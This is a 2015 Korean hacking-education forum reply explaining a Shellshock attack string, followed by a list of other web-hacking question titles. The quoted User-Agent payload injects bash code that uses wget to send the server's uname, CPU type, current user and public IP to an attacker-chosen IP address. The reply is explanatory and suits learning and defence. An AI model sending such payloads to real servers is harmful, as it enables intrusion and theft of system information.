214, 9/11 회원가입  로그인  
   cosine
   [re] 이 공격구문에 대한 설명 부탁드립니다.

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_Web&no=206 [복사]


셸쇼크입니다. 리눅스 환경의 많은 웹 프레임워크에서 유저에이전트를 환경변수에 저장합니다. 따라서 취약한 환경의 서버사이드 스크립트에서 bash 셸을 호출한다면 User-Agent를 파싱하는 과정에서 {:;}; 이후부분의 코드가 실행됩니다. 코드는 공격자의 IP주소로 서버 정보를 전송하는 코드로 보입니다.===============================================================================

>User-Agent:() { :; }; /usr/bin/wget -qO - http://IP주소/?info-`uname`-`uname -p`-`whoami`-`wget -U curl -qO- ifconfig.me`
>이 공격구문에 대한 자세한 설명부탁드립니다.
===============================================================================
  Hit : 2658     Date : 2015/06/28 03:28


    
54   공인IP, 사설IP[2]     ehdgns3136
 11/06 3864
53   웹해킹을 배우고싶습니다..[2]     edustars
 05/24 3569
52   웹해킹 입문할려고합니다. 조언및과외해주실스승님 구합니더[3]     edustars
 09/26 2870
51   칼리리눅스 웹 취약점 점검 스캐너 질문..     duwkakstp1
 08/21 4092
50   False Injection에 관한 질문입니다.[3]     dudtntdud
 01/18 2632
49   웹 해킹 질문입니다.     dsgoidsog
 11/26 2761
48   PHP에서 이메일 전송할때 가로챌 수 있나요?[9]     drrobot333
 11/16 2574
47   XSS <> 치환 우회가 가능한가요?[2]     drrobot333
 11/19 3605
46   웹해킹 공부 순서에 관한 질문입니다..[1]     dlrjsdn963
 07/27 4182
45   이게 웹해킹과 관련있는건지 모르겠지만요[2]     dldduzo11
 05/31 3608
44   load of sql injectin을 풀구있습니다..[3]     deadbeef
 02/15 3784
43   상대방에게 URL을 보내는 방법[1]     ddr4869
 01/20 3684
42   이 조건에서 sql injection이 가능한가가 궁금합니다.[2]     dbman
 05/16 3458
41   ../ 경로에 대한 질문[1]     daydreamss
 07/09 3168
40   웹해킹 에대한[3]     해켜스쿨
 04/18 3629
39   궁금한게있는데요~...[1]     해킹study
 01/17 4055
38   웹 해 킹 가능하는[1]     custom890
 12/31 2884
37   아이피 우회 접속 질문입니다[1]     crankdat
 02/08 4157
    [re] 이 공격구문에 대한 설명 부탁드립니다.     cosine
 06/28 2657
35   ip만으로 해킹가능한가요?[5]     clova777
 06/25 7671
[1][2][3][4][5][6][7][8] 9 [10]..[11]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org